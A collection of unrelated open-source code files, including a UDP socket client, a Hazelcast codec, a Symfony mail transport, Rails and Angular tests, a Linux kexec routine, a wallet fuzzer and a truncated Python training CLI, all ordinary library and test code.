udp_socket_create(&remote); this->_noclose = false; } SocketUdpClient::~SocketUdpClient() { this->close(); } void SocketUdpClient::close() { if(!this->_noclose && this->_socket != nullptr) { socket_close(this->_socket); this->_socket = nullptr; } } void SocketUdpClient::setTimeout(time_t seconds) { UdpClient::setTimeout(seconds); socket_set_timeout(this->_socket, seconds); } ssize_t SocketUdpClient::write(const void *buffer, const size_t& length) { remote_addr_t remote; if(this->_socket == nullptr) { this->resolve(); this->init(); } if(this->_socket == nullptr) return -EINVALID; this->address().toRemoteAddress(remote); remote.version = this->address().version(); remote.port = this->port(); return udp_send_to(this->_socket, buffer, length, &remote); } ssize_t SocketUdpClient::read(void *buffer, const size_t& length) { remote_addr_t remote; if(this->_socket == nullptr) { this->resolve(); this->init(); } if(this->_socket == nullptr) return -EINVALID; remote.version = this->address().version(); return udp_recv_from(this->_socket, buffer, length, &remote); } size_t SocketUdpClient::available() const { if(this->_socket == nullptr) return -EINVALID; return udp_socket_available(this->_socket); } }
import * as angularDevkitSchematics from '@angular-devkit/schematics'; import { SchematicTestRunner, UnitTestTree, } from '@angular-devkit/schematics/testing'; import * as path from 'path'; import { readJsonInTree } from '../../src/utils'; const { Tree } = angularDevkitSchematics; jest.mock( '@angular-devkit/schematics', () => ({ __esModule: true, ...jest.requireActual('@angular-devkit/schematics'), // For some reason TS (BUT only via ts-jest, not in VSCode) has an issue with this spread usage of requireActual(), so suppressing with any // eslint-disable-next-line @typescript-eslint/no-explicit-any } as any), ); const schematicRunner = new SchematicTestRunner( '@angular-eslint/schematics', path.join(__dirname, '../../src/collection.json'), ); describe('library', () => { let appTree: UnitTestTree; beforeEach(() => { appTree = new UnitTestTree(Tree.empty()); appTree.create('package.json', JSON.stringify({})); appTree.create( 'angular.json', JSON.stringify({ $schema: './node_modules/@angular/cli/lib/config/schema.json', version: 1, newProjectRoot: 'projects', projects: {}, }), ); }); it('should pass all the given options directly to the @schematics/angular schematic', async () => { const spy = jest.spyOn(angularDevkitSchematics, 'externalSchematic'); const options = { name: 'bar', }; expect(spy).not.toHaveBeenCalled(); await schematicRunner .runSchematicAsync('library', options, appTree) .toPromise(); expect(spy).toHaveBeenCalledTimes(1); expect(spy).toHaveBeenCalledWith( '@schematics/angular', 'library', expect.objectContaining(options), ); }); it('should change the lint target to use the @angular-eslint builder', async () => { const tree = await schematicRunner .runSchematicAsync('application', { name: 'bar' }, appTree) .toPromise(); expect(readJsonInTree(tree, 'angular.json').projects.bar.architect.lint) .toMatchInlineSnapshot(` Object { "builder": "@angular-eslint/builder:lint", "options": Object { "lintFilePatterns": Array [ "projects/bar/**/*.ts", "projects/bar/**/*.html", ], }, } `); }); it('should add the ESLint config for the project and delete the TSLint config', async () => { const tree = await schematicRunner .runSchematicAsync( 'application', { name: 'bar', prefix: 'something-else-custom' }, appTree, ) .toPromise(); expect(tree.exists('projects/bar/tslint.json')).toBe(false); expect(tree.read('projects/bar/.eslintrc.json')?.toString()) .toMatchInlineSnapshot(` "{ \\"extends\\": \\"../../.eslintrc.json\\", \\"ignorePatterns\\": [ \\"!**/*\\" ], \\"overrides\\": [ { \\"files\\": [ \\"*.ts\\" ], \\"parserOptions\\": { \\"project\\": [ \\"projects/bar/tsconfig.app.json\\", \\"projects/bar/tsconfig.spec.json\\", \\"projects/bar/e2e/tsconfig.json\\" ], \\"createDefaultProgram\\": true }, \\"rules\\": { \\"@angular-eslint/directive-selector\\": [ \\"error\\", { \\"type\\": \\"attribute\\", \\"prefix\\": \\"something-else-custom\\", \\"style\\": \\"camelCase\\" } ], \\"@angular-eslint/component-selector\\": [ \\"error\\", { \\"type\\": \\"element\\", \\"prefix\\": \\"something-else-custom\\", \\"style\\": \\"kebab-case\\" } ] } }, { \\"files\\": [ \\"*.html\\" ], \\"rules\\": {} } ] } " `); }); });
// // System.CodeDom CodeDirectiveCollection class // // Authors: // Marek Safar (marek.safar@seznam.cz) // Sebastien Pouliot <sebastien@ximian.com> // // (C) 2004 Ximian, Inc. // Copyright (C) 2005 Novell, Inc (http://www.novell.com) // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // #if NET_2_0 using System.Runtime.InteropServices; namespace System.CodeDom { [Serializable] [ComVisible (true), ClassInterface (ClassInterfaceType.AutoDispatch)] public class CodeDirectiveCollection: System.Collections.CollectionBase { public CodeDirectiveCollection () { } public CodeDirectiveCollection (CodeDirective[] value) { AddRange (value); } public CodeDirectiveCollection (CodeDirectiveCollection value) { AddRange (value); } public CodeDirective this [int index] { get { return (CodeDirective) List [index]; } set { List [index] = value; } } public int Add (CodeDirective value) { return List.Add (value); } public void AddRange (CodeDirective[] value) { if (value == null) { throw new ArgumentNullException ("value"); } for (int i = 0; i < value.Length; i++) { Add (value[i]); } } public void AddRange (CodeDirectiveCollection value) { if (value == null) { throw new ArgumentNullException ("value"); } int count = value.Count; for (int i = 0; i < count; i++) { Add (value[i]); } } public bool Contains (CodeDirective value) { return List.Contains (value); } public void CopyTo (CodeDirective[] array, int index) { List.CopyTo (array, index); } public int IndexOf (CodeDirective value) { return List.IndexOf (value); } public void Insert (int index, CodeDirective value) { List.Insert (index, value); } public void Remove (CodeDirective value) { List.Remove (value); } } } #endif
/* * Copyright (c) 2008-2020, Hazelcast, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hazelcast.client.impl.protocol.codec; import com.hazelcast.client.impl.protocol.ClientMessage; import com.hazelcast.client.impl.protocol.Generated; import com.hazelcast.client.impl.protocol.codec.builtin.*; import com.hazelcast.client.impl.protocol.codec.custom.*; import javax.annotation.Nullable; import static com.hazelcast.client.impl.protocol.ClientMessage.*; import static com.hazelcast.client.impl.protocol.codec.builtin.FixedSizeTypesCodec.*; /* * This file is auto-generated by the Hazelcast Client Protocol Code Generator. * To change this file, edit the templates or the protocol * definitions on the https://github.com/hazelcast/hazelcast-client-protocol * and regenerate it. */ /** * Checks the lock for the specified key.If the lock is acquired then returns true, else returns false. */ @Generated("306071f9db7b2ab1e92edc63a77973c7") public final class MapIsLockedCodec { //hex: 0x011200 public static final int REQUEST_MESSAGE_TYPE = 70144; //hex: 0x011201 public static final int RESPONSE_MESSAGE_TYPE = 70145; private static final int REQUEST_INITIAL_FRAME_SIZE = PARTITION_ID_FIELD_OFFSET + INT_SIZE_IN_BYTES; private static final int RESPONSE_RESPONSE_FIELD_OFFSET = RESPONSE_BACKUP_ACKS_FIELD_OFFSET + BYTE_SIZE_IN_BYTES; private static final int RESPONSE_INITIAL_FRAME_SIZE = RESPONSE_RESPONSE_FIELD_OFFSET + BOOLEAN_SIZE_IN_BYTES; private MapIsLockedCodec() { } @edu.umd.cs.findbugs.annotations.SuppressFBWarnings({"URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD"}) public static class RequestParameters { /** * name of map */ public java.lang.String name; /** * Key for the map entry to check if it is locked. */ public com.hazelcast.internal.serialization.Data key; } public static ClientMessage encodeRequest(java.lang.String name, com.hazelcast.internal.serialization.Data key) { ClientMessage clientMessage = ClientMessage.createForEncode(); clientMessage.setRetryable(true); clientMessage.setOperationName("Map.IsLocked"); ClientMessage.Frame initialFrame = new ClientMessage.Frame(new byte[REQUEST_INITIAL_FRAME_SIZE], UNFRAGMENTED_MESSAGE); encodeInt(initialFrame.content, TYPE_FIELD_OFFSET, REQUEST_MESSAGE_TYPE); encodeInt(initialFrame.content, PARTITION_ID_FIELD_OFFSET, -1); clientMessage.add(initialFrame); StringCodec.encode(clientMessage, name); DataCodec.encode(clientMessage, key); return clientMessage; } public static MapIsLockedCodec.RequestParameters decodeRequest(ClientMessage clientMessage) { ClientMessage.ForwardFrameIterator iterator = clientMessage.frameIterator(); RequestParameters request = new RequestParameters(); //empty initial frame iterator.next(); request.name = StringCodec.decode(iterator); request.key = DataCodec.decode(iterator); return request; } @edu.umd.cs.findbugs.annotations.SuppressFBWarnings({"URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD"}) public static class ResponseParameters { /** * Returns true if the entry is locked, otherwise returns false */ public boolean response; } public static ClientMessage encodeResponse(boolean response) { ClientMessage clientMessage = ClientMessage.createForEncode(); ClientMessage.Frame initialFrame = new ClientMessage.Frame(new byte[RESPONSE_INITIAL_FRAME_SIZE], UNFRAGMENTED_MESSAGE); encodeInt(initialFrame.content, TYPE_FIELD_OFFSET, RESPONSE_MESSAGE_TYPE); encodeBoolean(initialFrame.content, RESPONSE_RESPONSE_FIELD_OFFSET, response); clientMessage.add(initialFrame); return clientMessage; } public static MapIsLockedCodec.ResponseParameters decodeResponse(ClientMessage clientMessage) { ClientMessage.ForwardFrameIterator iterator = clientMessage.frameIterator(); ResponseParameters response = new ResponseParameters(); ClientMessage.Frame initialFrame = iterator.next(); response.response = decodeBoolean(initialFrame.content, RESPONSE_RESPONSE_FIELD_OFFSET); return response; } }
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Transport; use Psr\Log\LoggerInterface; use Psr\Log\NullLogger; use Symfony\Component\Mailer\Envelope; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\SentMessage; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\RawMessage; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ abstract class AbstractTransport implements TransportInterface { private $dispatcher; private $logger; private $rate = 0; private $lastSent = 0; public function __construct(EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null) { $this->dispatcher = $dispatcher; $this->logger = $logger ?? new NullLogger(); } /** * Sets the maximum number of messages to send per second (0 to disable). */ public function setMaxPerSecond(float $rate): self { if (0 >= $rate) { $rate = 0; } $this->rate = $rate; $this->lastSent = 0; return $this; } public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage { $message = clone $message; $envelope = null !== $envelope ? clone $envelope : Envelope::create($message); if (null !== $this->dispatcher) { $event = new MessageEvent($message, $envelope, (string) $this); $this->dispatcher->dispatch($event); $envelope = $event->getEnvelope(); } $message = new SentMessage($message, $envelope); $this->doSend($message); $this->checkThrottling(); return $message; } abstract protected function doSend(SentMessage $message): void; /** * @param Address[] $addresses * * @return string[] */ protected function stringifyAddresses(array $addresses): array { return array_map(function (Address $a) { return $a->toString(); }, $addresses); } protected function getLogger(): LoggerInterface { return $this->logger; } private function checkThrottling() { if (0 == $this->rate) { return; } $sleep = (1 / $this->rate) - (microtime(true) - $this->lastSent); if (0 < $sleep) { $this->logger->debug(sprintf('Email transport "%s" sleeps for %.2f seconds', __CLASS__, $sleep)); usleep($sleep * 1000000); } $this->lastSent = microtime(true); } }
#pragma checksum "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "6c93321e6e9b0f148e0449c5902bf5cb7ad221b8" // <auto-generated/> #pragma warning disable 1591 [assembly: global::Microsoft.AspNetCore.Razor.Hosting.RazorCompiledItemAttribute(typeof(AspNetCore.Views_Shared__LoginPartial), @"mvc.1.0.view", @"/Views/Shared/_LoginPartial.cshtml")] namespace AspNetCore { #line hidden using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.AspNetCore.Mvc.ViewFeatures; #nullable restore #line 1 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\_ViewImports.cshtml" using KombniyApp; #line default #line hidden #nullable disable #nullable restore #line 2 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\_ViewImports.cshtml" using KombniyApp.Models; #line default #line hidden #nullable disable #nullable restore #line 1 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" using Asp.NetCore.Identity; #line default #line hidden #nullable disable [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"6c93321e6e9b0f148e0449c5902bf5cb7ad221b8", @"/Views/Shared/_LoginPartial.cshtml")] [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@"SHA1", @"cde0cb099000a1d3912655c1fefd364ef5f3e561", @"/Views/_ViewImports.cshtml")] public class Views_Shared__LoginPartial : global::Microsoft.AspNetCore.Mvc.Razor.RazorPage<dynamic> { #pragma warning disable 1998 public async override global::System.Threading.Tasks.Task ExecuteAsync() { WriteLiteral("\r\n"); #nullable restore #line 3 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" if (Request.IsAuthenticated) { using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "form-inline" })) { #line default #line hidden #nullable disable #nullable restore #line 7 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" Write(Html.AntiForgeryToken()); #line default #line hidden #nullable disable WriteLiteral(" <li class=\"nav-item\">\r\n "); #nullable restore #line 9 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" Write(Html.ActionLink("Hi " + User.Identity.GetUserName() + "!", "Index", "Manage", routeValues: null, htmlAttributes: new { title = "Manage", @class = "nav-link waves-effect waves-light" })); #line default #line hidden #nullable disable WriteLiteral("\r\n </li>\r\n <li class=\"nav-item\"><a class=\"nav-link waves-effect waves-light\" href=\"javascript:document.getElementById(\'logoutForm\').submit()\">Cerrar sesión</a></li>\r\n"); #nullable restore #line 12 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" } } else { #line default #line hidden #nullable disable WriteLiteral(" <li class=\"nav-item\">"); #nullable restore #line 16 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" Write(Html.ActionLink("Register", "Register", "Account", routeValues: null, htmlAttributes: new { id = "registerLink", @class = "nav-link waves-effect waves-light" })); #line default #line hidden #nullable disable WriteLiteral("</li>\r\n <li class=\"nav-item\">"); #nullable restore #line 17 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" Write(Html.ActionLink("Login", "Login", "Account", routeValues: null, htmlAttributes: new { id = "loginLink", @class = "nav-link waves-effect waves-light" })); #line default #line hidden #nullable disable WriteLiteral("</li>\r\n"); #nullable restore #line 18 "C:\Users\merve bilgiç\Documents\GitHub\KombniyApp\KombniyApp\Views\Shared\_LoginPartial.cshtml" } #line default #line hidden #nullable disable } #pragma warning restore 1998 [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.ViewFeatures.IModelExpressionProvider ModelExpressionProvider { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.IUrlHelper Url { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.IViewComponentHelper Component { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.Rendering.IJsonHelper Json { get; private set; } [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute] public global::Microsoft.AspNetCore.Mvc.Rendering.IHtmlHelper<dynamic> Html { get; private set; } } } #pragma warning restore 1591
describe 'Feature Test: Store', :type => :feature do describe "Category List" do it "displays all of the categories as links" do visit store_path Category.all.each do |category| expect(page).to have_link(category.title, href: category_path(category)) end end end describe "Item List" do it 'displays all items that have inventory' do second_item = Item.second second_item.inventory = 0 second_item.save visit store_path Item.all.each do |item| if item == second_item expect(page).to_not have_content item.title else expect(page).to have_content item.title expect(page).to have_content "$#{item.price.to_f}" end end end context "not logged in" do it 'does not display "Add To Cart" button' do visit store_path expect(page).to_not have_content "Add To Cart" end end context "logged in" do before(:each) do @user = User.first login_as(@user, scope: :user) end it 'does display "Add To Cart" button' do visit store_path expect(page).to have_selector("input[type=submit][value='Add to Cart']") end end end describe 'Headers' do context "not logged in" do it 'has a sign in link' do visit store_path expect(page).to have_link("Sign In") end it 'has a sign up link' do visit store_path expect(page).to have_link("Sign Up") end end context "logged in" do before(:each) do @user = User.first login_as(@user, scope: :user) end it "tells the user who they are signed in as" do visit store_path expect(page).to have_content("Signed in as #{@user.email}") end it "has a sign out link" do visit store_path expect(page).to have_link("Sign Out") end it "lets users sign out" do visit store_path click_link("Sign Out") expect(page.current_path).to eq(store_path) expect(page).to have_link("Sing In") end end it 'has a Store Home Link' do visit store_path expect(page).to have_link("Store Home") end it 'does not have a Cart link' do visit store_path expect(page).to_not have_link("Cart") end end end
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT license. var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; Object.defineProperty(exports, "__esModule", { value: true }); const childProcess = require("child_process"); const crypto = require("crypto"); const net = require("net"); const office_addin_usage_data_1 = require("office-addin-usage-data"); /** * Determines whether a port is in use. * @param port port number (0 - 65535) * @returns true if port is in use; false otherwise. */ function isPortInUse(port) { validatePort(port); return new Promise((resolve) => { const server = net .createServer() .once("error", () => { resolve(true); }) .once("listening", () => { server.close(); resolve(false); }) .listen(port); }); } exports.isPortInUse = isPortInUse; /** * Parse the port from a string which ends with colon and a number. * @param text string to parse * @example "127.0.0.1:3000" returns 3000 * @example "[::1]:1900" returns 1900 * @example "Local Address" returns undefined */ function parsePort(text) { const result = text.match(/:(\d+)$/); return result ? parseInt(result[1], 10) : undefined; } /** * Return the process ids using the port. * @param port port number (0 - 65535) * @returns Promise to array containing process ids, or empty if none. */ function getProcessIdsForPort(port) { validatePort(port); return new Promise((resolve, reject) => { const isWin32 = process.platform === "win32"; const command = isWin32 ? `netstat -ano` : `lsof -n -i:${port}`; childProcess.exec(command, (error, stdout) => { if (error) { if (error.code === 1) { // no processes are using the port resolve([]); } else { reject(error); } } else { const processIds = new Set(); const lines = stdout.trim().split("\n"); if (isWin32) { lines.forEach((line) => { const [protocol, localAddress, foreignAddress, status, processId] = line.split(" ").filter((text) => text); if (processId !== undefined) { const localAddressPort = parsePort(localAddress); if (localAddressPort === port) { processIds.add(parseInt(processId, 10)); } } }); } else { lines.forEach((line) => { const [process, processId, user, fd, type, device, size, node, name] = line.split(" ").filter((text) => text); if ((processId !== undefined) && (processId !== "PID")) { processIds.add(parseInt(processId, 10)); } }); } resolve(Array.from(processIds)); } }); }); } exports.getProcessIdsForPort = getProcessIdsForPort; /** * Returns a random port number which is not in use. * @returns Promise to number from 0 to 65535 */ function randomPortNotInUse() { return __awaiter(this, void 0, void 0, function* () { let port; do { port = randomPortNumber(); } while (yield isPortInUse(port)); return port; }); } exports.randomPortNotInUse = randomPortNotInUse; /** * Returns a random number between 0 and 65535 */ function randomPortNumber() { return crypto.randomBytes(2).readUInt16LE(0); } /** * Throw an error if the port is not a valid number. * @param port port number * @throws Error if port is not a number from 0 to 65535. */ function validatePort(port) { if ((typeof (port) !== "number") || (port < 0) || (port > 65535)) { throw new office_addin_usage_data_1.ExpectedError("Port should be a number from 0 to 65535."); } } //# sourceMappingURL=port.js.map
/* * machine_kexec.c - handle transition of Linux booting another kernel * Copyright (C) 2002-2003 Eric Biederman <ebiederm@xmission.com> * * GameCube/ppc32 port Copyright (C) 2004 Albert Herranz * LANDISK/sh4 supported by kogiidena * * This source code is licensed under the GNU General Public License, * Version 2. See the file COPYING for more details. */ #include <linux/mm.h> #include <linux/kexec.h> #include <linux/delay.h> #include <linux/reboot.h> #include <asm/pgtable.h> #include <asm/pgalloc.h> #include <asm/mmu_context.h> #include <asm/io.h> #include <asm/cacheflush.h> typedef NORET_TYPE void (*relocate_new_kernel_t)( unsigned long indirection_page, unsigned long reboot_code_buffer, unsigned long start_address, unsigned long vbr_reg) ATTRIB_NORET; extern const unsigned char relocate_new_kernel[]; extern const unsigned int relocate_new_kernel_size; extern void *gdb_vbr_vector; void machine_shutdown(void) { } void machine_crash_shutdown(struct pt_regs *regs) { } /* * Do what every setup is needed on image and the * reboot code buffer to allow us to avoid allocations * later. */ int machine_kexec_prepare(struct kimage *image) { return 0; } void machine_kexec_cleanup(struct kimage *image) { } static void kexec_info(struct kimage *image) { int i; printk("kexec information\n"); for (i = 0; i < image->nr_segments; i++) { printk(" segment[%d]: 0x%08x - 0x%08x (0x%08x)\n", i, (unsigned int)image->segment[i].mem, (unsigned int)image->segment[i].mem + image->segment[i].memsz, (unsigned int)image->segment[i].memsz); } printk(" start : 0x%08x\n\n", (unsigned int)image->start); } /* * Do not allocate memory (or fail in any way) in machine_kexec(). * We are past the point of no return, committed to rebooting now. */ NORET_TYPE void machine_kexec(struct kimage *image) { unsigned long page_list; unsigned long reboot_code_buffer; unsigned long vbr_reg; relocate_new_kernel_t rnk; #if defined(CONFIG_SH_STANDARD_BIOS) vbr_reg = ((unsigned long )gdb_vbr_vector) - 0x100; #else vbr_reg = 0x80000000; // dummy #endif /* Interrupts aren't acceptable while we reboot */ local_irq_disable(); page_list = image->head; /* we need both effective and real address here */ reboot_code_buffer = (unsigned long)page_address(image->control_code_page); /* copy our kernel relocation code to the control code page */ memcpy((void *)reboot_code_buffer, relocate_new_kernel, relocate_new_kernel_size); kexec_info(image); flush_cache_all(); /* now call it */ rnk = (relocate_new_kernel_t) reboot_code_buffer; (*rnk)(page_list, reboot_code_buffer, image->start, vbr_reg); } /* crashkernel=size@addr specifies the location to reserve for * a crash kernel. By reserving this memory we guarantee * that linux never sets it up as a DMA target. * Useful for holding code to do something appropriate * after a kernel panic. */ static int __init parse_crashkernel(char *arg) { unsigned long size, base; size = memparse(arg, &arg); if (*arg == '@') { base = memparse(arg+1, &arg); /* FIXME: Do I want a sanity check * to validate the memory range? */ crashk_res.start = base; crashk_res.end = base + size - 1; } return 0; } early_param("crashkernel", parse_crashkernel);
// Copyright (c) 2017-2018, The Enro Project // // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are // permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other // materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be // used to endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF // MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL // THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, // STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF // THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "include_base_utils.h" #include "file_io_utils.h" #include "cryptonote_basic/blobdatatype.h" #include "cryptonote_basic/cryptonote_basic.h" #include "cryptonote_basic/cryptonote_format_utils.h" #include "wallet/wallet2.h" #include "fuzzer.h" class ColdOutputsFuzzer: public Fuzzer { public: ColdOutputsFuzzer(): wallet(cryptonote::TESTNET) {} virtual int init(); virtual int run(const std::string &filename); private: tools::wallet2 wallet; }; int ColdOutputsFuzzer::init() { static const char * const spendkey_hex = "0b4f47697ec99c3de6579304e5f25c68b07afbe55b71d99620bf6cbf4e45a80f"; crypto::secret_key spendkey; epee::string_tools::hex_to_pod(spendkey_hex, spendkey); try { wallet.init(""); wallet.set_subaddress_lookahead(1, 1); wallet.generate("", "", spendkey, true, false); } catch (const std::exception &e) { std::cerr << "Error on ColdOutputsFuzzer::init: " << e.what() << std::endl; return 1; } return 0; } int ColdOutputsFuzzer::run(const std::string &filename) { std::string s; if (!epee::file_io_utils::load_file_to_string(filename, s)) { std::cout << "Error: failed to load file " << filename << std::endl; return 1; } s = std::string("\x01\x16serialization::archive") + s; try { std::vector<tools::wallet2::transfer_details> outputs; std::stringstream iss; iss << s; boost::archive::portable_binary_iarchive ar(iss); ar >> outputs; size_t n_outputs = wallet.import_outputs(outputs); std::cout << boost::lexical_cast<std::string>(n_outputs) << " outputs imported" << std::endl; } catch (const std::exception &e) { std::cerr << "Failed to import outputs: " << e.what() << std::endl; return 1; } return 0; } int main(int argc, const char **argv) { ColdOutputsFuzzer fuzzer; return run_fuzzer(argc, argv, fuzzer); }
from datetime import datetime import logging import os import subprocess import sys from argparse import Namespace logging.getLogger("transformers").setLevel(logging.WARNING) import click import torch from luke.utils.model_utils import ModelArchive from zero.utils.experiment_logger import commet_logger_args, CometLogger, NullLogger LOG_FORMAT = "[%(asctime)s] [%(levelname)s] %(message)s (%(funcName)s@%(filename)s:%(lineno)s)" try: import absl.logging # https://github.com/tensorflow/tensorflow/issues/27045#issuecomment-519642980 logging.getLogger().removeHandler(absl.logging._absl_handler) absl.logging._warn_preinit_stderr = False except ImportError: pass logger = logging.getLogger(__name__) @click.group() @click.option( "--output-dir", default="models", type=click.Path() ) @click.option("--num-gpus", default=1) @click.option("--experiment-logger", "--logger", type=click.Choice(["comet"])) @click.option("--master-port", default=29500) @click.option("--local-rank", "--local_rank", default=-1) @click.option("--model-file", type=click.Path(exists=True)) @click.option("--device-id", type=int) @commet_logger_args @click.pass_context def cli(ctx, **kwargs): args = Namespace(**kwargs) if args.local_rank == -1 and args.num_gpus > 1: current_env = os.environ.copy() current_env["MASTER_ADDR"] = "127.0.0.1" current_env["MASTER_PORT"] = str(args.master_port) current_env["WORLD_SIZE"] = str(args.num_gpus) processes = [] for args.local_rank in range(0, args.num_gpus): current_env["RANK"] = str(args.local_rank) current_env["LOCAL_RANK"] = str(args.local_rank) cmd = [sys.executable, "-u", "-m", "examples.cli", "--local-rank={}".format(args.local_rank)] cmd.extend(sys.argv[1:]) process = subprocess.Popen(cmd, env=current_env) processes.append(process) for process in processes: process.wait() if process.returncode != 0: raise subprocess.CalledProcessError(returncode=process.returncode, cmd=cmd) sys.exit(0) else: if args.local_rank not in (-1, 0): logging.basicConfig(format=LOG_FORMAT, level=logging.WARNING) else: logging.basicConfig(format=LOG_FORMAT, level=logging.INFO) if not os.path.exists(args.output_dir) and args.local_rank in [-1, 0]: os.makedirs(args.output_dir) logger.info("Output dir: %s", args.output_dir) # NOTE: ctx.obj is documented here: http://click.palletsprojects.com/en/7.x/api/#click.Context.obj ctx.obj = dict(local_rank=args.local_rank, output_dir=args.output_dir) if args.num_gpus == 0: ctx.obj["device"] = torch.device("cpu") elif args.local_rank == -1: ctx.obj["device"] = torch.device("cuda:{}".format(args.device_id)) else: torch.cuda.set_device(args.local_rank) ctx.obj["device"] = torch.device("cuda", args.local_rank) torch.distributed.init_process_group(backend="nccl") experiment_logger = NullLogger() if args.local_rank in (-1, 0) and args.experiment_logger == "comet": experiment_logger = CometLogger(args) experiment_logger.log_parameters({p.name: getattr(args, p.name) for p in cli.params}) ctx.obj["experiment"] = experiment_logger if args.model_file: model_archive = ModelArchive.load(args.model_file) ctx.obj["tokenizer"] = model_archive.tokenizer ctx.obj["entity_vocab"] = model_archive.entity_vocab ctx.obj["bert_model_name"] = model_archive.bert_model_name ctx.obj["model_config"] = model_archive.config ctx.obj["max_mention_length"] = model_archive.max_mention_length ctx.obj["model_weights"] = model_archive.state_dict experiment_logger.log_parameter("model_file_name", 